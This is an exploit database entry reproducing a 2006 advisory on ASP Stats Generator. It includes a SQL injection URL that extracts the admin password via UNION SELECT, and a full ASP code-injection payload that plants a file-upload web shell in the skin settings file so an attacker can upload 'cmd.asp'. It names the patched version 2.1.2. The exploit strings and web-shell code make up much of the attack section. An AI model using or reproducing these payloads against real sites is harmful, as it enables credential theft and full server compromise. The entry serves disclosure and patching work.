ASP Stats Generator SQL-ASP injection - Code Excution

vendor:

ASP Stats Generator

by:

Hamid Ebadi

7,5

CVSS

HIGH

SQL injection and ASP Code Injection

CWE

Product Name: ASP Stats Generator

Affected Version From: 2.1.1

Affected Version To: 2.1

Patch Exists: YES

Related CWE: N/A

CPE: a:weppos:asp_stats_generator

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

ASP Stats Generator SQL-ASP injection – Code Excution

The following URL can be used to trigger an SQL injection vulnerability in the pages.asp: http://localhost/myasg/pages.asp?order='&mese=1. Input passed to the strAsgSknPageBgColour (and ...) in 'settings_skin.asp' isn't properly sanitised before being stored in the 'inc_skin_file.asp'. This can be exploited to inject arbitrary ASP code.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability.

Source

Exploit-DB raw data:

/*------------------------------------------------
		IHS Public advisory 
-------------------------------------------------*/

ASP Stats Generator SQL-ASP injection - Code Excution 
ASP Stats Generator is a powerful website counter, completely written in ASP programming language.
The application is able to track web site activity generating graphical and statistical reports.
It combines a server side class with a javascript system to get a wide range of visitors' details.
http://www.weppos.com

Credit:
The information has been provided by Hamid Ebadi (IHS : IRAN HOMELAND SECURITY)
The original article can be found at: 

http://www.IHSteam.com
http://www.hamid.ir/security/


Vulnerable Systems:
ASP Stats Generator 2.1.1 - 2.1 and below

SQL injection :

Example :
The following URL can be used to trigger an SQL injection vulnerability in the pages.asp:
http://localhost/myasg/pages.asp?order='&mese=1

Microsoft JET Database Engine error '80040e14' 
Syntax error in string in query expression 'SUM(Visits) ''. 
/myasg/pages.asp, line 236 

Exploit :

http://localhost/asg/pages.asp?order=ASC union select sito_psw,1,1 from tblst_config&mese=1


ASP Code Injection  :
Input passed to the strAsgSknPageBgColour (and ...) in "settings_skin.asp"  isn't properly sanitised before being stored in the "inc_skin_file.asp".
This can be exploited to inject  arbitrary ASP code.

Exploit :

#F9F9F9" : dim path,hstr, mpath, content, filename: mpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"): content = request("content"): filename = request("filename"): on error resume next: Dim objFSO,f: Set objFSO = Server.CreateObject ("Scripting.FileSystemObject"): if not filename = "" then: response.Write( "Have File.<BR>" ): path = objFSO.GetParentFolderName( mpath ): path = filename: end if: if not content="" then: response.Write( "Contented.<BR>" ): set f = objFSO.CreateTextFile( path ): response.Write( err.Description & "<BR>" ): f.Write( content ): response.Write( err.Description & "<BR>" ): f.close: end if	%><%=filename%><BR><%=path%><BR><%= Request("path") %><BR><FORM ID="SForm" method="post"><TABLE width="300" border="1" ID="Table1"><TR><TD><P align="center"><STRONG><FONT size="6">Upload File</FONT></STRONG></P></TD></TR><TR><TD><TEXTAREA name="content" rows="15" cols="46" ><%=content%>&lt;/textarea&gt;</TD></TR><TR><TD><P align="center">File Name:<%=strAsgMapPathTo%><INPUT type="text" name="filename" value="<%=filename%>" ></P><P align="center"><INPUT type="submit" value="Upload" ID="Submit1" NAME="Submit1"></P></TD></TR></TABLE></FORM><% objFSO = Nothing: on error goto 0: hstr = "
[m.r.roohian]
attacker can upload  "cmd.asp" with this uploader and ...


Solution:
use ASP Stats Generator v2.1.2 (18/06/2006 )

# milw0rm.com [2006-06-19]